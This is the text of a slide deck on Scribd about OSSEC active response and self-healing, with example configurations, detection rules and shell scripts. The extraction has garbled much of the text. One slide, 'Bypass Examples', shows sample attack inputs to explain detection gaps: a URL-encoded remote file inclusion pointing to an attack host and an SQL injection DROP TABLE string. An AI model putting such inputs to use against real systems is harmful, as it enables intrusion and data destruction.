0% found this document useful (0 votes)
106 views30 pages

OSSEC Active Response and Self Healing: Sco$ R. Shinn Chief Technical O Cer

The document discusses OSSEC active response and self healing capabilities. It describes how OSSEC can be configured to trigger actions in response to log events and how rules can check for changes to detect new issues. Examples are provided of using active response commands and rules to monitor for new open ports and resolve a semaphore exhaustion condition.

Uploaded by

Maliq Dewa
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
106 views30 pages

OSSEC Active Response and Self Healing: Sco$ R. Shinn Chief Technical O Cer

The document discusses OSSEC active response and self healing capabilities. It describes how OSSEC can be configured to trigger actions in response to log events and how rules can check for changes to detect new issues. Examples are provided of using active response commands and rules to monitor for new open ports and resolve a semaphore exhaustion condition.

Uploaded by

Maliq Dewa
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 30

OSSEC

 Active  Response  and  Self  Healing  

Sco$  R.  Shinn  


Chief  Technical  Officer  
 
About  
●  20+  years  in  cybersecurity  
●  7  years  on  ossec  
●  White  House:  1st  firewall  
●  Sr.  scienCst  at  Cisco/Wheelgroup:  1st  Network  IDS  
●  Founder  of  Plesk,  web  hosCng  automaCon  
●  Ran  120+  staff  government  SOC/NOC    
Open  Source  Projects  
●  Atomic  Yum  repository,  over  600  projects  used  on  over  1  million  
servers  
●  OSSEC  (Why  you  are  all  here)  
●  OpenVAS:  Network  Vulnerability  Scanner  
●  grsecurity:  Kernel  Security    
●  Mod_Security:  Web  ApplicaCon  Firewall  
 
OSSEC  Projects  
●  Make  things  less  difficult  
●  Packaging  /  IntegraCon  for  RHEL/CentOS/Cloudlinux  and  Fedora  
●  Rules  and  Decoders  
●  Ossec-­‐execd    
–  Sqlite  support,  expanding  acCon  

●  Ossec-­‐dbd  
–  DB  Improvements/Scalability,  Mariadb  
 
The  Value  of  OSSEC  
●  Immediate  value  with  minimal  configuraCon  (keep  things  easy)  
●  AcCve  Response  
●  Log  Based  Analysis  
●  InoCfy  (and  FanoCfy  soon!)  as  a  means  for  real-­‐Cme  detecCon  
Challenges  of  OSSEC  
●  RetroacCve:  AcCons  occur  acer  a  Log  event  
●  People  don't  scale  (and  Sco$  is  lazy.)  
●  “Alert  FaCgue”  
●  MulCple  languages  are  not  implemented  well  
●  Not  good  for  web  a$acks  
 
Bypass  Examples  
●  HTTP  POSTS!  
●  Encoding  a$acks:    
–  This  is  valid:    
 GET  /index.php?arg1=h$p://www.a$ack.com/example.txt  
–  So  is  this:  GET%20%2Findex.php%3Farg1%3Dh$p%3A%2F
%2Fwww.a$ack.com%2Fexample.txt  
●  So  is  this  in  a  POST:  Robert);  DROP  /*  xkcd  reference  */  TABLE  
Students  
 
How  We  Use  OSSEC  
●  Standalone,  the  client  &  server  are  the  same  system  
●  MySQL  driven  back  end,  with  triggers  to  create  real-­‐Cme  meta-­‐
events  
●  Process  “complex”  a$acks,  that  spam  mulCple  services  
●  Web  Based  Brute  force  a$acks,  with  a  WAF    
●  WAF  +  OSSEC  =  proacCve  
●  grsecurity  +  OSSEC  =  proacCve  
Active  Response:  The  Human  Hybrid  
●  OSSEC  is  combined  in  a  classic  client  /  server  configuraCon  
●  Zoneminder,  a  CCTV  IDS  is  the  source.  Cameras  have  moCon  
detecCon  on  a  specific  area  
●  Triggers  a  Level  13  alert  to  OSSEC,  the  acCve  response  to  Instant  
messanger  and  IRC  bots  
●  Human  operator  takes  acCon  
ConGiguration  Example  
●  Event  is  bound  to  a  single  rule  
●  There  is  no  Cmeout.  This  script  writes  to  a  log  file,  read  by  a  bot  
●  Event  only  runs  on  the  agent  that  triggered  the  alert  
<command>
<name>zm-notify-101099</name>
<executable>zm-notify-101099</executable>
<timeout_allowed>no</timeout_allowed>
<expect />
</command>

<active-response>
<command>zm-notify-101099</command>
<location>local</location>
<rules_id>101099</rules_id>
</active-response>
Active  Response  Output:  
●  (11:13:01  AM)  <TurtleBot>  Someone  is  in  Mike’s  
spot!  
●  “Operator”  takes  further  acCon.  
Result  
Active  Reponse:  Command  
Hybrid  
●  Not  exactly  AcCve  Response,  but  you'll  see.  
●  A  “log”  is  created  using  the  <command>  syntax  from  the  script:  asl-­‐
port-­‐check  
●  The  command  is  executed  every  60  seconds,  the  intent  is  to  detect  
new  ports  
●  OSSEC  rules  check  the  output  of  the  command,  and  looks  for  
changes  with  <check_diff  />  
Main  ConGiguration  Example  
●  Ossec.conf:  

<localfile>
<log_format>full_command</log_format>
<command>/var/ossec/active-response/bin/asl-
port-check</command>
<frequency>60</frequency>
</localfile>
Command  example:  
●  /var/ossec/acCve-­‐response/bin/asl-­‐port-­‐check  
 
#!/bin/bash
lsof -nP | grep LISTEN|grep TCP \
| egrep -v "127.0.0.1|:[1-9][0-9][0-9][0-9].*(ftp|rpc.statd|java|-)|
[0-9]+\.[0-9]+:53 \
.*named|:30000.*sudo" | awk '{print $1,$3, $9}' | awk -F:
'{print $1,$2}' |awk '{print $1,$2,$4}'| sort -u | awk -f /var/ossec/
active-response/bin/ports.awk
Rule  Example  
●  /var/ossec/etc/rules.d/example.xml  
 
<rule id="100533" level="7" >
 
<info>rev:2</info>
<if_sid>530</if_sid>
<match>ossec: output: '/var/asl/bin/asl-port-check|ossec: output: 'netstat -
tan</match>
<check_diff />
<options>no_email_alert</options>
<description>Listening ports status has changed (new port opened or
closed).</description>
</rule>
Self  Healing  
●  Mix  of  Security  and  Non-­‐security  events.    
●  Originally  started  to  handle  a  very  uncommon  semaphore  
exhausCon  conditon  
●  Later  expanded  to  strip  dangerous  seungs  from  libaries  and  
applicaCons  
Self  Healing  Example  1  
●  Apache  2.0  Semaphore  exhausCon  
●  Ossec.conf:  
  <command>
<name>self-healing-30300</name>
<executable>self-healing-30300</
executable>
<timeout_allowed>no</timeout_allowed>
<expect />
</command>
<active-response>
<command>self-healing-30300</
command>
<location>local</location>
<rules_id>30300</rules_id>
<rules_id>30301</rules_id>
</active-response>
Self  Healing  Example  1  
●  /var/ossec/etc/rules.d/51_asl_apache_sh_rules.xml  
●  Log  snippet  from  apache  looks  like  this:  
–  No  space  lec  on  device.  (28)No  space  
–  There  is  no  Cmestamp  
●  We  Ce  two  log  events  together  to  handle  this  condiCon  

<rule id="1007" level="7">


<match>file system full|No space left on device</match>
<description>File system full.</description>
<group>low_diskspace,</group>
</rule>

<rule id="30300" level="8">


<if_sid>1007</if_sid>
<match>(28)No space</match>
<description>Self Healing: Resolving Semaphore exhausting condition.</
description>
</rule>
Self  Healing  Rule  Example  1  
#!/bin/sh
# Copyright 2013
# Atomicorp, Inc.

# Parent rule: 30300


# Level: 8
# Description: This event clears the apache semaphore set
# Version: 1.0.1

LOG=/var/ossec/logs/self-healing.log

date >> /var/ossec/logs/self-healing.log

# Clear semaphore table


/usr/bin/ipcs -s | /bin/grep apache | /bin/awk ' { print $2 } ' | /usr/bin/xargs /usr/bin/ipcrm
sem >> $LOG
Self  Healing  Example  2  
●  Context  is  in  the  environment  of  a  hardened  kernel  using  stack  
protecCon.  
●  Many  linux  binaries  (and  libraries!)  will  request  an  executable  stack  
when  they  do  not  require  it.  
●  This  bypasses  subset  stack  protecCon  opCons  like  execshield.  In  
grsecurity  however,  this  is  not  permi$ed  
●  Normally  we  do  this  with  RPM  triggers,  but  this  cannot  handle  
source  installaCons.  OSSEC  allows  us  to  do  that.  
●  Allows  us  to  reduce  support  costs,  and  makes  the  system  safer.  
 
 
Self  Healing  Example  2  
●  Ossec.conf  
 
<!-- 30302 -->
<command>
<name>self-healing-30302</name>
<executable>self-healing-30302</executable>
<timeout_allowed>no</timeout_allowed>
<expect />
</command>

<active-response>
<command>self-healing-30302</command>
<location>local</location>
<rules_id>30302</rules_id>
</active-response>
Self  Healing  Example  2  
●  Log  Event  is  generated  by  the  kernel,  and  spans  3  rules,  they  
collecCvely  look  for:  
 grsec....  SegmentaCon  fault....  bin/php  
●  In  this  example,  the  policy  is  unless  allow;  deny.  So  the  scary  
applicaCon  never  actually  runs.  We  catch  the  policy  violaCon,  and  
use  this  to  trigger  a  Self-­‐Healing  condiCon  
Self  Healing  Example  2  
●  Rule  30302  is  triggered,  and  only  executes  on  the  agent  where  it  
was  detected.  
●  The  self  healing  rule  parses  the  php.ini  file  for  the  path  to  
extensions  used,  since  we  do  not  know  exactly  where  the  user  has  
configured  them  
●   Once  detected,  stack-­‐exec  bits  are  stripped  from  the  library:  
●  Execstack  -­‐c  /path/to/extension  
Self  Healing  Example  2  
SEARCH_PHP_INI=$(locate -r php.ini$)
PHP_INI="$SEARCH_PHP_INI /etc/php.ini /usr/local/lib/php.ini /usr/local/etc/
php.ini /usr/local/cpanel/3rdparty/php/53/etc/php.ini"

DIRS="/etc/php.d /opt/php51/etc/php5/conf.d /opt/php52/etc/php5/conf.d /opt/


php53/etc/php5/conf.d"

for file in $PHP_INI; do


if [ -f $file ]; then
clear_php_exec_bit $file
fi
done

for dir in $DIRS; do


if [ -d $dir ]; then
for i in `ls $dir`; do
if [ -f $dir/$i ]; then
clear_php_exec_bit $dir/$i
fi
done
fi
done
Future  Projects  
●  Grand  Decoder  restructuring  (rules.d  and  decoders.d)  
●  Rule  /  Decoder  updater  
●  MariaDB  support  (very  close!)  
●  FanoCfy  for  real-­‐Cme  integrity  checking,  and  real-­‐Cme  rootkit  /  
configuraCon  analysis  
●  Compliance  validaCon  for  DISA  STIG's,  DHS,  NISPOM,  etc.  Work  is  
already  prototyped  with  the  Aqueduct  project  
Rules/Decoder  feed  
●  Work  is  available  in  my  Bitbucket  repo:  
●  h$ps://bitbucket.org/sshinn/ossec-­‐rules  
●  Rules  live  in  /var/ossec/etc/rules.d/  and  are  loaded  much  like  
apache  configs  from  /etc/h$pd/conf.d/  
●  Decoders  live  in  /var/ossec/etc/decoders.d/  
Rules.d  example  
 
●  Format  is  <Number>-­‐<Channel>-­‐<name>  
●  This  manages  loading  order,  and  shows  dependencies  between  
rules  
●  Rules  are  versioned  using  <info>rev:X</info>  
00_asl_rules_config.xml
40_asl_syslog_rules.xml
50_asl_abrt_rules.xml
50_asl_apache_rules.xml
50_asl_arpwatch_rules.xml
50_asl_asterisk_rules.xml
50_asl_bro-ids_rules.xml
50_asl_cimserver_rules.xml
50_asl_cisco-ios_rules.xml
Decoders.d  example  
●  Format:  <number>-­‐<channel>-­‐<name>  
●  Overlapping  /  Missing  decoders  can  cause  a  hard  error,  thus  causing  
ossec  to  exit  
●  No  decoder  interdependencies  yet,  but  this  structure  allows  for  it  
 
50-asl-aix-ipsec-decoder.xml
50-asl-apache-decoder.xml
50-asl-arpwatch-decoder.xml
50-asl-asterisk-decoder.xml
50-asl-auditd-decoder.xml
50-asl-bro-ids-decoder.xml
50-asl-checkpoint-decoder.xml
50-asl-cimserver-decoder.xml
50-asl-cisco-ios-decoder.xml
50-asl-cisco-vpn-decoder.xml
Questions?  
Sco$  Shinn  
sco$@atomicorp.com  

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy